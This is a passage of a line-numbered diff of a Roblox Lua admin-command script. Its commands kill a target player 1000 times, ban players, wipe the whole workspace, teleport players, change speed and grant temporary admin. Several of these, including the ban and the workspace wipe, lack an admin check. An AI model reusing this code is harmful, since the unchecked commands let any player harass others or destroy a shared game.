| 1679 | JD = 1000 | |
| 1680 | mwq('[API]; Your about to be KOd 1000 times!' ,Target.PlayerGui)
| |
| 1681 | function ko() | |
| 1682 | for i=1, JD do | |
| 1683 | c = Instance.new('ObjectValue')
| |
| 1684 | c.Parent = Target.Character.Humanoid | |
| 1685 | - | c.Value = game.Players.PiterMosskva_TV |
| 1685 | + | c.Value = game.Players.zXzGamePROzXz |
| 1686 | c.Name = 'creator' | |
| 1687 | wait(0.1) | |
| 1688 | Target.Character.Humanoid.Health = 0 | |
| 1689 | wait(0.01) | |
| 1690 | Target.Character.Parent = game.Lighting | |
| 1691 | wait(0.01) | |
| 1692 | c:remove() | |
| 1693 | wait(0.01) | |
| 1694 | Target.Character.Parent = game.Workspace | |
| 1695 | end | |
| 1696 | end | |
| 1697 | ko() | |
| 1698 | end | |
| 1699 | end | |
| 1700 | end) | |
| 1701 | RunModule('CommandModule','/fire','Makes the given user look sparkley','/fi','#cs#(.+)',function(Speaker,...)
| |
| 1702 | local Targets=RunModule('GetPlayer',...,Speaker);
| |
| 1703 | if (Targets~=nil) then | |
| 1704 | for Index,Target in pairs(Targets) do | |
| 1705 | mwq('[API]; You were fird!' ,Target.PlayerGui)
| |
| 1706 | if (Target.Character~=nil) then | |
| 1707 | for ChildIndex,Child in pairs(Target.Character:GetChildren()) do | |
| 1708 | if (Child.className=='Part') then | |
| 1709 | local Sparkles=NewInstance('Sparkles')
| |
| 1710 | Sparkles.SparkleColor=NewColor3(22,101,1); | |
| 1711 | Sparkles.Parent=Child; | |
| 1712 | end | |
| 1713 | end | |
| 1714 | end | |
| 1715 | end | |
| 1716 | end | |
| 1717 | end) | |
| 1718 | RunModule('CommandModule','/rspawn','Removes the sparkles from the given user','/qrs','#cs#(.+)',function(Speaker,...)
| |
| 1719 | local Targets=RunModule('GetPlayer',...,Speaker);
| |
| 1720 | if (Targets~=nil) then | |
| 1721 | for Index,Target in pairs(Targets) do | |
| 1722 | Target:LoadCharacter() | |
| 1723 | mwq('[API]; You were quick respawnd!' ,Target.PlayerGui)
| |
| 1724 | end | |
| 1725 | end | |
| 1726 | end) | |
| 1727 | RunModule('CommandModule','/scrollingmessage','Creates a scrolling message','/gmt','#cs#(.+)',function(Speaker,String)
| |
| 1728 | local Message=NewInstance('Message');
| |
| 1729 | Message.Parent=Workspace; | |
| 1730 | local Effect=NewInstance('Sound');
| |
| 1731 | Effect.SoundId='rbxasset://sounds\\switch.wav'; | |
| 1732 | Effect.Parent=Workspace; | |
| 1733 | for Index=1,#String do | |
| 1734 | Effect:Play(); | |
| 1735 | Message.Text=Message.Text..String:sub(Index,Index); | |
| 1736 | wait(0.09); | |
| 1737 | end | |
| 1738 | wait(0.5); | |
| 1739 | Message.Parent=nil; | |
| 1740 | Effect.Parent=nil; | |
| 1741 | end,true) | |
| 1742 | RunModule('CommandModule','/scrollinghint','Creates a scrolling message','/dm','#cs#(.+)',function(Speaker,String)
| |
| 1743 | local Message=NewInstance('Hint');
| |
| 1744 | Message.Parent=Workspace; | |
| 1745 | local Effect=NewInstance('Sound');
| |
| 1746 | Effect.SoundId='rbxasset://sounds\\switch.wav'; | |
| 1747 | Effect.Parent=Workspace; | |
| 1748 | for Index=1,#String do | |
| 1749 | Effect:Play(); | |
| 1750 | Message.Text=Message.Text..String:sub(Index,Index); | |
| 1751 | wait(0.09); | |
| 1752 | end | |
| 1753 | wait(0.5); | |
| 1754 | Message.Parent=nil; | |
| 1755 | Effect.Parent=nil; | |
| 1756 | end,true) | |
| 1757 | RunModule('CommandModule','/speed','Changes the WalkSpeed of the given user','/ws','#cs#(.-)#cs#(%d+)',function(Speaker,Input,Integer)
| |
| 1758 | local Targets=RunModule('GetPlayer',Input,Speaker);
| |
| 1759 | if (Targets~=nil) and (Integer~=nil) then | |
| 1760 | for Index,Target in pairs(Targets) do | |
| 1761 | mwq('[API]; You were speeded up!' ,Target.PlayerGui)
| |
| 1762 | hgf(Target, 'Dark blue') | |
| 1763 | if (Target.Character~=nil) then | |
| 1764 | for ChildIndex,Child in pairs(Target.Character:GetChildren()) do | |
| 1765 | if (Child.className=='Humanoid') then | |
| 1766 | Child.WalkSpeed=Integer; | |
| 1767 | end | |
| 1768 | end | |
| 1769 | end | |
| 1770 | end | |
| 1771 | end | |
| 1772 | end) | |
| 1773 | RunModule('CommandModule','/nb','Gets a base','/b','#cs#',function(Speaker)
| |
| 1774 | if (not RunModule('IsAdmin',Speaker)) then return end
| |
| 1775 | a = Instance.new('Part', workspace)
| |
| 1776 | a.Name = 'New Base' | |
| 1777 | a.Size = Vector3.new(500, 1.2, 500) | |
| 1778 | a.Anchored = true | |
| 1779 | a.BrickColor = BrickColor.new(28) | |
| 1780 | a.Locked = true | |
| 1781 | a.TopSurface = 'Studs'; | |
| 1782 | mwq('[API]; You created a base' ,low)
| |
| 1783 | end) | |
| 1784 | RunModule('CommandModule',RunModule('ParseMatch','/admin#cs#t'),'Makes the given user a temporary admin','/ad','#cs#(.+)',function(Speaker,...)
| |
| 1785 | if (not RunModule('IsAdmin',Speaker)) then return end
| |
| 1786 | local Targets=RunModule('GetPlayer',...,Speaker);
| |
| 1787 | if (Targets~=nil) then | |
| 1788 | for Index,Target in pairs(Targets) do | |
| 1789 | table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Target.Name:lower()) then Connection:disconnect(); end end); | |
| 1790 | AdminConnectionList[#AdminConnectionList+1]=Target.Chatted:connect(function(Message) RunModule('PlayerChat',Message,Player); end)
| |
| 1791 | AdminUserList[#AdminUserList+1]=Target.Name; | |
| 1792 | end | |
| 1793 | end | |
| 1794 | end) | |
| 1795 | RunModule('CommandModule',RunModule('ParseMatch','/admin#cs#f'),'Removes the given users temporary admin','/ua','#cs#(.+)',function(Speaker,...)
| |
| 1796 | if (not RunModule('IsAdmin',Speaker)) then return end
| |
| 1797 | local Targets=RunModule('GetPlayer',...,Speaker);
| |
| 1798 | if (Targets~=nil) then | |
| 1799 | for Index,Target in pairs(Targets) do | |
| 1800 | table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Target.Name:lower()) then Connection:disconnect(); end end) | |
| 1801 | end | |
| 1802 | end | |
| 1803 | end) | |
| 1804 | RunModule('CommandModule','/teleport','Teleports two or more users together','/ft','#cs#(.-)#cs#(.+)',function(Speaker,Input1,Input2)
| |
| 1805 | if (Input1==nil) or (Input2==nil) then return end | |
| 1806 | local Targets1,Targets2=RunModule('GetPlayer',Input1,Speaker),RunModule('GetPlayer',Input2,Speaker);
| |
| 1807 | if (Targets1==nil) or (Targets2==nil) then return end | |
| 1808 | if (#Targets2~=1) then return end | |
| 1809 | for Index,Target in pairs(Targets1) do | |
| 1810 | if (Target.Character~=nil) and (Targets2[1].Character~=nil) then | |
| 1811 | local Torso=Target.Character:FindFirstChild('Torso');
| |
| 1812 | local Torso2=Targets2[1].Character:FindFirstChild('Torso');
| |
| 1813 | if (Torso~=nil) and (Torso2~=nil) then | |
| 1814 | Torso.CFrame=Torso2.CFrame; | |
| 1815 | notsq({{'[API]; Warpd the given Targets' , Random}})
| |
| 1816 | end | |
| 1817 | end | |
| 1818 | end | |
| 1819 | end) | |
| 1820 | RunModule('CommandModule',RunModule('ParseMatch','/ban#cs#d'),'Bans the given user using data persistence for the given amount of hours.','/dpb','#cs#(.-)#cs#(%d+)',function(Speaker,Input,Length)
| |
| 1821 | if (Input==nil) or (Length==nil) then return end | |
| 1822 | local Targets=RunModule('GetPlayer',Input,Speaker);
| |
| 1823 | if (Targets~=nil) then | |
| 1824 | for Index,Target in pairs(Targets) do | |
| 1825 | if (RunModule('DisposePlayer',Target,Speaker,true)==true) then
| |
| 1826 | pcall(Target.SaveString,Target,DataKey,RunModule('ConvertTable',{Type=0,UnbanAt=math.floor(tick()+(tonumber(Length)*3600))}));
| |
| 1827 | RunModule('DisposePlayer',Target,Speaker);
| |
| 1828 | end | |
| 1829 | end | |
| 1830 | end | |
| 1831 | end) | |
| 1832 | RunModule('CommandModule','/rworkspace','Clears the game of all objects, excluding this script and players','/rw','#cs#',function(Speaker)
| |
| 1833 | local Children=Workspace:GetChildren(); | |
| 1834 | for ChildIndex,Child in pairs(Children) do | |
| 1835 | if (Child~=script) then | |
| 1836 | pcall(function() Child:Remove(); end); | |
| 1837 | end | |
| 1838 | end | |
| 1839 | end) | |
| 1840 | RunModule('CommandModule','/restoregame','Restores the game to its state when the backup was created','/rg','#cs#(.+)',function(Speaker,Input)
| |
| 1841 | if (Input==nil) then return end | |
| 1842 | if (GameBackups[Input]==nil) then | |
| 1843 | RunModule('ShowHint',Speaker,'That backup key doesnt exist.',5);
| |
| 1844 | return | |
| 1845 | end | |
| 1846 | RunModule('RestoreGame',Input);
| |
| 1847 | notsq({{'[API]; Module not active'}})
| |
| 1848 | end) | |
| 1849 | RunModule('CommandModule','/backupgame','Backs up the game so you casn restore it later','/bg','#cs#(.+)',function(Speaker,Input)
| |
| 1850 | if (Input==nil) then return end | |
| 1851 | if (GameBackups[Input]~=nil) then | |
| 1852 | RunModule('ShowHint',Speaker,'That backup key already exists.',5);
| |
| 1853 | return | |
| 1854 | end | |
| 1855 | RunModule('BackupGame',Input);
| |
| 1856 | RunModule('ShowHint',Speaker,'Backup successful.',5);
| |
| 1857 | notsq({{'[API]; Command not active'}})
| |
| 1858 | end) | |
| 1859 | mwq('[API]; Commands Loaded!' ,low)
| |
| 1860 | mwi('[API UPDATES]; Added, PaintBallGun into Lighting.', 'Green')
| |
| 1861 | mwi('[API UPDATES]; Working on the XDQ Camball agian, next update 11-4-12.', 'Green')
| |
| 1862 | notsq({{'[API]; Modules Loaded!', Random}, {'[API]; API Commands V3 setup', Random}, {'[API]; Tables active!', Random}, {'[API]; Functions working!', Random}, {'[API]; Indiviual Target Functions working!', Random}, {'[API]; _G functions not available at this time.', Random}, {'[API]; Commands active!', Random}, {'[API]; API Commands 507, RIG', Random}, {'[API]; HEAT507, Current script , [GUN GAME] in his models', Random}, {'[API]; Learn how to script in the RobloxWiki', Random}})
| |
| 1863 | game:GetService('Players').PlayerAdded:connect(function(...) RunModule('AddPlayer',...); end)
| |
| 1864 | game:GetService('Players').PlayerRemoving:connect(function(...) RunModule('RemovePlayer',...); end)
| |
| 1865 | table.foreach(game:GetService('Players'):GetPlayers(),function(Index,Player) RunModule('AddPlayer',Player); end)
| |
| 1866 | ||
| 1867 | --mediafire |